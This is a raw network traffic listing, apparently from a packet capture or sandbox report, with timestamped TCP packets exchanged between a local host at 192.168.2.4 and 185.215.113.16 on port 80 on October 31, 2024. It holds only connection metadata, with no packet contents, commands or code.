Oct 31, 2024 05:06:37.376971006 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.376993895 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.377001047 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.377012014 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.377027035 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.377043009 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.377044916 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.377082109 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.377084017 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.377098083 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.377114058 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.377125978 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.377130032 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.377146959 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.377165079 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.377170086 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.377180099 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.377197027 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.377199888 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.377222061 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.377244949 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.377259016 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.377263069 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.377274990 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.377275944 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.377290010 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.377304077 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.377312899 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.377330065 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.377343893 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.377365112 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.377368927 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.377382040 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.377389908 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.377398014 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.377413034 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.377422094 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.377424955 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.377440929 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.377456903 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.377470970 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.377481937 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.377481937 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.377486944 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.377506971 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.377528906 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.377528906 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.377549887 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.377553940 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.377566099 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.377588034 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.377707005 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.377722979 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.377737045 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.377765894 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.377779007 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.377784967 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.377784967 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.377804041 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.377824068 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.377829075 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.377846003 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.377860069 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.377882957 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.377895117 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.378021955 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.378037930 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.378062010 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.378076077 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.378082037 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.378091097 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.378108025 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.378117085 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.378144026 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.378196955 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.378290892 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.378305912 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.378320932 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.378330946 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.378345013 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.378357887 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.378361940 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.378376007 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.378400087 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.378412008 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.378417015 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.378439903 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.378443003 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.378458977 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.378473043 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.378482103 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.378489971 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.378511906 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.378515005 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.378531933 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.378556967 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.378565073 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.378572941 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.378586054 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.378592968 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.378602028 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.378617048 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.378631115 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.378644943 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.378648043 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.378648043 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.378659010 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.378674030 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.378680944 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.378689051 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.378712893 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.378757954 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.378777027 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.378791094 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.378801107 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.378806114 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.378823996 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.378829002 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.378839016 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.378855944 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.378869057 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.378878117 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.378885031 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.378885984 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.378901005 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.378916025 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.378958941 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.378958941 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.380466938 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.496617079 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.496639967 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.496665955 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.496690989 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.496694088 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.496707916 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.496725082 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.496723890 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.496751070 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.496766090 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.496786118 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.496792078 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.496803999 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.496808052 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.496824980 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.496843100 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.496848106 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.496860981 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.496884108 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.496901989 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.496905088 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.496917963 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.496918917 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.496934891 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.496949911 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.496965885 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.496968985 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.496980906 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.496987104 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.496997118 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.497013092 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.497014046 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.497030020 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.497045040 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.497062922 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.497071028 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.497082949 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.497082949 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.497098923 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.497113943 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.497128010 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.497136116 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.497143030 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.497145891 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.497162104 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.497176886 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.497196913 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.497199059 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.497216940 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.497220993 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.497231960 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.497247934 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.497250080 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.497263908 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.497278929 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.497293949 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.497298956 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.497309923 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.497323990 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.497324944 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.497340918 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.497349024 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.497355938 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.497370958 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.497383118 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.497394085 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.497411013 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.497436047 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.497452021 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.497467041 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.497490883 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.497503996 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.497519016 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.497534037 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.497550011 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.497565031 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.497580051 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.497586012 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.497597933 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.497597933 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.497625113 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.497639894 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.497656107 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.497658968 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.497673988 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.497728109 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.497744083 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.497760057 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.497761011 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.497819901 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.497843981 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.497854948 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.497862101 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.497879982 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.497884989 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.497900963 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.497915030 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.497930050 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.497932911 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.497947931 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.497948885 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.497972965 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.497982979 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.497987032 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.498003960 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.498018980 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.498034000 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.498037100 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.498051882 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.498058081 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.498078108 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.498094082 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.498100996 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.498116016 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.498131037 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.498146057 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.498152018 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.498164892 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.498176098 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.498199940 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.498214960 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.498233080 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.498238087 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.498248100 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.498255014 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.498267889 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.498289108 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.498290062 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.498306036 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.498318911 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.498322964 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.498333931 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.498352051 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.498358011 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.498373032 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.498388052 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.498405933 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.498409986 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.498424053 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.498425961 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.498440981 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.498456001 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.498471975 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.498473883 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.498490095 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.498492002 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.498507977 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.498523951 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.498527050 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.498538971 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.498560905 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.498569965 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.498574972 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.498590946 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.498594046 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.498615026 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.498631001 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.498646021 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.498648882 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.498662949 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.498662949 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.498678923 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.498711109 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.498733997 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.498749018 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.498764038 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.498764992 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.498797894 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.498814106 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.498831987 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.498845100 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.498933077 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.498953104 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.498967886 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.498982906 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.498997927 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.499002934 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.499016047 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.499020100 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.499043941 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.499058962 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.499074936 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.499085903 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.499090910 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.499094009 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.499118090 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.499131918 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.499147892 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.499150038 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.499161959 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.499172926 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.499185085 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.499201059 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.499214888 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.499222994 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.499229908 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.499229908 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.499248028 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.499269009 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.499285936 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.499294043 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.499306917 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.499309063 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.499337912 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.499353886 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.499368906 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.499373913 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.499386072 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.499388933 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.499403954 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.499424934 CET	49744	80	192.168.2.4	185.215.113.16
